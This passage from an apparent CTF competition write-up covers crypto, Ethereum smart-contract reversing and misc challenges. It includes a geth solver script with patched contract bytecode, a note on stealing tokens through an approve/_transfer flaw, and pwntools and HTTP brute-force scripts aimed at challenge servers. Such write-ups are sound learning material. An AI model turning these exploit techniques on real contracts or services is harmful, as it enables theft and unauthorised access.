已知$n,m_1^5\%n,(m_1\ xor\ k)^5\%n$
$n,m_1$ 2048bit, $k$ 40bit
Coppersmith’s short-pad attack
http://inaz2.hatenablog.com/entry/2016/01/20/022936 参考coppersmith经典文章直接出flag

BlockChain

Re:Ethereum from zero

This is a challenge about smart contract reversing, we were given the genesis.json and the enode public key. We can use these to connect to the private network. We can also get our private key from the team token and import it into geth.

To get the first part of the flag, we need to satisfy: balance(player_account) > 0. This is easy to achieve, by simply mining several blocks.

In order to complete the second part, we need to find where the contracts are. Using the following script we can have a brief overview of the blocks containing transactions:

// loadScript() in geth
for(var i=0; i<eth.blockNumber;i++) {
  var block = eth.getBlock(i);
  if(block.transactions.length != 0) {
    console.log("Block with tx: " + i.toString());
  }
}

And the results:

Block with tx: 23
Block with tx: 49
Block with tx: 273
Block with tx: 4049
Block with tx: 4950
Block with tx: 5226

The first transaction is located at block 23, which creates a contract at 0x628187b11ef814fe75dc9d33c813961b71153afc. And sequentially the transactions in block 49 and 273 interacts with the contract created by the first transaction. By the time I got a little confused: where are the other contracts mentioned in hint2?

So I decided to take a closer look at this contract. Using ethervm decompiler to decompile could give us a boost (but this one has a lot of defects, I've heard lots of people already have private EVM decompiler added to their inventory... sigh). Reversing result showed it's actually a deployer contract, which will decrypt and create user specified contract. To get the address of the newly created contracts, we need to trace the transactions. debug_traceTransaction is a method exposed by geth RPC, connecting remix debugger to the RPC will provide us a user-friendly GUI tracer. So we found the contract deployed at 0x15ec709c5d749345a3bcfc36a5b6bb695aba51e4.

There is only one function inside this contract and the logic looks like the following psuedocode:

getFlag(uint256 private_key) returns (uint256) {
  require(msg.sender == owner);
  player = account address from private_key
  storage = address(storage[2]).call.value(???)(player);
  if(storage + player < storage) {
    return 1;
  }
  return 0;
}

So this involves another contract, reading the storage gives us the final contract at 0xc3dac37d5d3000a7fa70b574167fed36a8330a35. I will skip the details of most of the details involved when reversing this contract but there are two points worth mentioning. Let's take a look at the basic logic of the contract:

function xxx(address user_contract, uint256 fix) {
  require(msg.value >= 1ether);
  var2 = user_contract;
  var3 = msg.value * block.number;

  result = address(user_contract).call.value(xxx).gas(xxx)("0x95808366");
  var2 += result;
  address(user_contract).call.value(msg.value).gas(xxx)("0x");
  require(balanceOf(user_contract) == 0);  // 1
  var4 = modexp(user_contract, E, N) ^ modexp(fix, E, N); // 2
  stroage[var4] = var3;
  return;
}

The first point is that you need to prevent the contract from receiving funds. I solved this by placing selfdestruct operation inside the fallback function.

The second point is the modexp function. When reversing, I encountered the following statement: address(0x5).staticcall.gas(xxx)(data). By googling contract at 0x5 I found this and this.

After reversing, solving the challenge is a cakewalk.

Solver (unstripped):

// loadScript(xxx);
var account = eth.accounts[0];
var contract = "0xc3dac37d5d3000a7fa70b574167fed36a8330a35";
personal.unlockAccount(account);

var f1_hash = "0x031c62e3";
var query_hash = "0xad5e5a94";
var f2_hash = "0x77df37f0";

//var deployed = "0x6db2520cf6a8a9403b1b1313b6e2811b35f16ac2";
//var deployed = "0xdbc59c25a00b207dc029b9370a5e5167761bad8b";
//var deployed = "0x926fadd79df9f2f820c62477f50c1fd895fa7d7c";
//var deployed = "0x838851629f16b674a6261ca8636c1bb598a55c3e";
//var deployed = "0x3af5135eb80dd58cb35a503c68d3f1a08f09a4fb";
var deployed = "0xb1fc178e43883677ce73bf67e5cbc84fcd16afc6";

var R = "0x95808366";

//var patched = "0x608060405234801561001057600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506102cc806100606000396000f300608060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806326882dea146100645780638da5cb5b1461007b57806395808366146100d2578063a6f9dae1146100fd575b005b34801561007057600080fd5b50610079610140565b005b34801561008757600080fd5b506100906101d5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156100de57600080fd5b506100e76101fa565b6040518082815260200191505060405180910390f35b34801561010957600080fd5b5061013e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610202565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561019b57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561025d57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820de3cfb222d167622bfe19ea89e607e9b6907886908732e4edf8aa9d2ed0807350029";
//var patched = "0x608060405234801561001057600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610304806100606000396000f300608060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806326882dea1461009c5780638da5cb5b146100b3578063958083661461010a578063a6f9dae114610135575b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b3480156100a857600080fd5b506100b1610178565b005b3480156100bf57600080fd5b506100c861020d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561011657600080fd5b5061011f610232565b6040518082815260200191505060405180910390f35b34801561014157600080fd5b50610176600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061023a565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156101d357600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561029557600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820f5905b954001c3308581f6fff0d14551e4ddc701560e614bcb77cc76727417e60029";
var patched = "0x608060405234801561001057600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610324806100606000396000f300608060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806326882dea1461009c5780638da5cb5b146100b3578063958083661461010a578063a6f9dae114610135575b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b3480156100a857600080fd5b506100b1610178565b005b3480156100bf57600080fd5b506100c861020d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561011657600080fd5b5061011f610232565b6040518082815260200191505060405180910390f35b34801561014157600080fd5b50610176600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061025a565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156101d357600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60007fffffffffffffffffffffffffffffffffffffffffff799ba3a6dd4859643fffff905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156102b557600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820a3acbab5723d0e982e0c6dd2434b425c25b969948e1baf30a46341e421954c630029";

var GAS = 300000;
var GAS_PRICE = 1000000000;
var VALUE_REQ = 1000000000000000000;  // 1 ether

String.prototype.leftJustify = function( length, char ) {
    var fill = [];
    while ( fill.length + this.length < length ) {
      fill[fill.length] = char;
    }
    return fill.join('') + this;
}

String.prototype.rightJustify = function( length, char ) {
    var fill = [];
    while ( fill.length + this.length < length ) {
      fill[fill.length] = char;
    }
    return this + fill.join('');
}

function address2uint(address) {
  return "000000000000000000000000" + address.substr(2);
}

function num2uint(number) {
  return number.toString(16).leftJustify(64, '0');
}

function nonce() {
  return eth.getTransactionCount(eth.accounts[0], "pending");
}

function query(address) {
  return eth.sendTransaction({
    from: account, 
    to: contract,
    gas: GAS,
    gasPrice: GAS_PRICE,
    value: 0,
    data: query_hash + address2uint(address),
    nonce: nonce(), 
  });
}

function f1() {
  return eth.sendTransaction({
    from: account,
    to: contract,
    gas: GAS,
    gasPrice: GAS_PRICE,
    value: 0,
    data: f1_hash,
    nonce: nonce(),
  });
}

function f2(address, arg2) {
  return eth.sendTransaction({
    from: account,
    to: contract,
    gas: GAS,
    gasPrice: GAS_PRICE,
    value: VALUE_REQ,
    data: f2_hash + address2uint(address) + arg2,
    nonce: nonce(),
  });
}

function deploy(contract_bin) {
  return eth.sendTransaction({
    from: account,
    gas: GAS,
    gasPrice: GAS_PRICE,
    data: contract_bin,
    nonce: nonce(),
  });
}

function sendFunds(address, value) {
  return eth.sendTransaction({
    from: account,
    to: address,
    gas: GAS,
    gasPrice: GAS_PRICE,
    data: "0x",
    nonce: nonce(),
    value: value,
  });
}

//var tx = query(account);
//var tx = f1();
//var tx = f2(deployed, "79f9e53750ebc17fd78a90e03153915167b90d560ffd6a9063874df53f7230f4");
var tx = f2(deployed, "2efab4b2d704641cb1eca1241ed3a17924605f7eeb91ec5f0dd37e0846691a8a");
//var tx = deploy(patched);

//var tx = sendFunds(deployed, 10000000);
console.log(tx);

ez2win

大概需要逆一下
0x71feca5f0ff0123a60ef2871ba6a6e5d289942ef for ropsten
开源了,既然有人做出来了直接抄作业就行。。。
先approve再_transfer任意转账

MISC

freq game

from pwn import *
from scipy.fftpack import fft,ifft

p = remote('150.109.119.46', 6775)

p.recvuntil('to get hint:')
p.sendline('y')
p.recvuntil('token:')
p.sendline('RVZhvB2OtdydtHAaHxdEeRcFzZlKIC9U')

for i in xrange(8):
    data = p.recvuntil(']').strip()
    y = eval(data)
    yf = abs(fft(y))
    ans = []
    for i in xrange(255):
        if (yf[i] > 1000):
            print i, yf[i]
            ans.append(i)
    print ans
    p.sendline("%d %d %d %d" % (ans[0], ans[1], ans[2], ans[3]))

p.interactive()

eazy dump

看上去是个vmware的内存镜像

和这个有点像

https://www.jianshu.com/p/6438bc3302c8
基本信息获取:
volatility -f mem.data imageinfo
Volatility Foundation Volatility Framework 2.4
Determining profile based on KDBG search...

Suggested Profile(s) : Win2008R2SP0x64, Win7SP1x64, Win7SP0x64, Win2008R2SP1x64
                 AS Layer1 : AMD64PagedMemory (Kernel AS)
                 AS Layer2 : FileAddressSpace (/root/Desktop/mem.data)
                  PAE type : No PAE
                       DTB : 0x187000L
                      KDBG : 0xf80004035070
      Number of Processors : 4
 Image Type (Service Pack) : 0
            KPCR for CPU 0 : 0xfffff80004036d00L
            KPCR for CPU 1 : 0xfffff880009ee000L
            KPCR for CPU 2 : 0xfffff88004568000L
            KPCR for CPU 3 : 0xfffff880045dd000L
         KUSER_SHARED_DATA : 0xfffff78000000000L
       Image date and time : 2018-11-07 08:26:52 UTC+0000
 Image local date and time : 2018-11-07 16:26:52 +0800

枚举用户:
volatility -f mem.data --profile=Win2008R2SP0x64 printkey -K "SAM\Domains\Account\Users\Names"
Volatility Foundation Volatility Framework 2.4
Legend: (S) = Stable (V) = Volatile


Registry: \SystemRoot\System32\Config\SAM
Key name: Names (S)
Last updated: 2018-11-05 14:22:03 UTC+0000

Subkeys:
(S) Administrator
(S) Guest
(S) veritas501

Values:
REG_DWORD : (S) 0

查看进程:
volatility -f mem.data --profile=Win2008R2SP0x64

根据题目名称dump,应该是把某个进程的内存数据用memdump提取出来:
volatility -f mem.data memdump -p 'pid' -D '/path'

dump画图的内存

用GIMP翻内存

Difficult programming language

是个键盘流量包

D'`;M?!\mZ4j8hgSvt2bN);^]+7jiE3Ve0A@Q=|;)sxwYXtsl2pongOe+LKa'e^]\a`_X|V[Tx;"VONSRQJn1MFKJCBfFE>&<`@9!=<5Y9y7654-,P0/o-,%I)ih&%$#z@xw|{ts9wvXWm3~

malbolge

找了个解析器发现有非法字符,强行改代码无视非法字符以后解到一个flag,但是不太对
Q7猜出了Flag,tql

Guess My Key

应该不是一个太复杂的网络吧,
猜一个

反向传播算法写糊了,我再去学习一波。。。

写什么bp,还是逐位爆破来得快。。。。。。

import requests
import json
import random



# test = 'http://150.109.62.46:13577/enc?msg='
# for _ in xrange(96):
#     test += '1,'
# test = test[:-1]
# 
# g = r.json()

# flag_en = g['raw_cipher']
# print(flag_en)
def list2str(l):
    res = ''
    for i in l:
        res += str(i) + ','
    return res[:-1]

def calc(guess_en,flag_en):
    res = []
    for i in xrange(96):
        res.append((guess_en[i]-flag_en[i]))
    return res

def random_input():
    res = []
    for _ in xrange(96):
        res.append(random.randint(0,1))
    return res

def get_res(p,f=None):
    p = list2str(p)
    g_url = 'http://150.109.62.46:13577/enc?msg=%s&key=%s'
    p_url = 'http://150.109.62.46:13577/enc?msg=%s'
    if f is None:
        r = requests.get(p_url % p)
    else:
        f = list2str(f)
        r = requests.get(g_url % (p,f))
    g = r.json()
    en = g['raw_cipher']
    res = []
    for _ in en.split(','):
        res.append(float(_))
    return res

def bp(s,guess_out,real_out,guess_flag):
    last = calc(guess_out,real_out)
    for i in xrange(96):
        guess_flag[i] -= last[i]*((guess_out[i]) * (1-guess_out[i]))
    #print(guess_flag)
    return guess_flag

def cost(g,r):
    res = 0.0
    for i in xrange(96):
        res+= ((g[i]-r[i])*(g[i]-r[i])) * 100
    return res

def toint(l):
    res = []
    for i in l:
        t = round(i,1)
        if t >1:
            t = 1
        if t < 0:
            t = 0
        res.append(t)
    return res

while True:
    guess_flag = [0] * 96
    for i in xrange(96*20):
        s = random_input()
        ff = guess_flag[i%96]
        guess_out = get_res(s,guess_flag)
        t = guess_flag
        t[i%96] = abs(1-ff)
        guess_out2 = get_res(s,t)
        flag_en = get_res(s)
        c1 = cost(guess_out,flag_en)
        c2 = cost(guess_out2,flag_en)
        if c1 > c2:
            print(c2)
            guess_flag[i%96] = abs(1-ff)
        else:
            print(c1)
            guess_flag[i%96] = ff
        #guess_flag = bp(s,guess_out,flag_n,guess_flag)
        #guess_flag = toint(guess_flag)
        print(guess_flag)
0 条评论
某人
表情
可输入 255